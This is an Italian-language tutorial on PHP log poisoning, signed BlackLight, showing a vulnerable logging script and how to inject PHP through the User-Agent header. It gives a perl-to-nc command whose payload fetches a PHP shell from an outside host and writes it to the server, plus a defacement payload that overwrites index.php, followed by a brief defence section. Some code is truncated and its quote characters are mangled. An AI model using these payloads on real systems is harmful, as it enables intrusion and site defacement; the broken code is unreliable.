Log poisoning
Il log poisoning è una vulnerabilità relativamente poco conosciuta, ma che può portare a risultati disastrosi se sfruttata da un attaccante. Il concetto alla base è molto semplice: molti siti loggano le visite degli utenti su log che sono file PHP. Le informazioni loggate, di norma, sono IP del visitatore, pagina visitata e user agent. Di queste tre informazioni l’IP del visitatore e il REQUEST_URI difficilmente possono essere modificati, ma lo user agent può essere modificato tranquillamente inviando pacchetti HTTP from scratch o anche usando plugin per il proprio browser in grado di modificarlo arbitrariamente, come Modify Headers per Firefox.
Poniamoci ora il problema: molti log sono in formato PHP. E se io impostassi come user agent string del codice PHP valido…?
Lo scenario dell’attacco
Immaginiamo di avere un sito che logga le visite degli utenti tramite il seguente script:
$ip=$_SERVER[’REMOTE_ADDR’];
$uri=$_SERVER[’REQUEST_URI’];
$agent=$_SERVER[’HTTP_USER_AGENT’];
$fp=fopen(’access.php’,'a’);
fputs ($fp,”$ip, $agent: $uri”);
fclose($fp);
print “$ip: sei stato loggato\n”;
?>
[modifica]Shell injection
Tutti gli accessi vengono loggati sul file access.php, e questo file è anche visibile, volendo, da chiunque. Inviamo un pacchetto HTTP così costruito:
perl -e ‘print “GET /page.php HTTP/1.1\nHost: \n
Connection: close\nUser-agent: <\?php
\$content\=file\(\”http://blacklight.altervista.org/MYSHELL.txt\”\);
\$fp\=fopen\(\”./shell.php\”,\”w\”\); foreach \(\$content as \$line\)
fwrite\(\$fp,\”\$line\\n\”\); fclose\(\$fp\); \?>\n\n”;’
| nc
Quello che facciamo è semplice: inviamo un pacchetto HTTP che richieda la pagina in questione, impostando come user agent un codice PHP che prende il contenuto di una shell PHP e lo salva sul sito. Ora possiamo andare a visualizzare la pagina access.php, o attendere che sia l’admin stesso a visualizzarla. La conseguenza è semplice: il codice che abbiamo iniettato verrà eseguito, e ci regalerà una bella shell sul server.
[modifica]Deface
E’ perfino possibile defacciare indirettamente un sito tramite questa tecnica. Impostiamo uno user agent come questo, o inviandolo direttamente all’host tramite richiesta HTTP diretta, o impostandolo come nostro user agent nel nostro browser:
$fp=fopen(”{$path}/{$file}.old”,”w”); foreach ($content as $line)
fputs ($fp,”{$line}\n”); fclose($fp); $fp=fopen(”{$path}/{$file}”,”w”);
fputs ($fp,”Owned by BlackLight”); fclose($fp); } foo(”.”,”index.php”);
foo(”..”,”index.php”); ?>
Quello che fa è semplice: salva la index.php nella directory attuale e in quella superiore su un file di backup (giusto per essere buoni), quindi la apre in modalità di scrittura, cancellando tutto il suo contenuto. Ora possiamo andare a richiamare via browser il file di log, o attendere che sia l’admin stesso ad andare a visualizzarlo. In quell’istante, il codice che abbiamo iniettato verrà eseguito, e i contenuti dell’home page del sito verranno rimossi.
[modifica]Difesa
Quella del log injection è una vulnerabilità poco conosciuta e ingiustamente sottovalutata, ma che può compromettere, come abbiamo appena visto, la sicurezza di un intero sito, portando all’iniezione di una shell sul sito o addirittura al deface. La miglior strategia di difesa è sì quella di salvare i log in un file PHP, ma aggiungendo in testa al file una riga del genere:
die(); ?>
In questo modo avremo raggiunto due obiettivi:
Tutto l’eventuale codice PHP iniettato di seguito non verrà mai eseguito, dato che l’interprete esce appena vede il die();
I log non saranno visualizzabili da nessun utente comune via browser, dato che appena l’utente richiederà via browser il log l’interprete PHP ritornerà una pagina bianca. Il log sarà invece visualizzabile solo dall’admin via FTP o SSH.
BlackLight
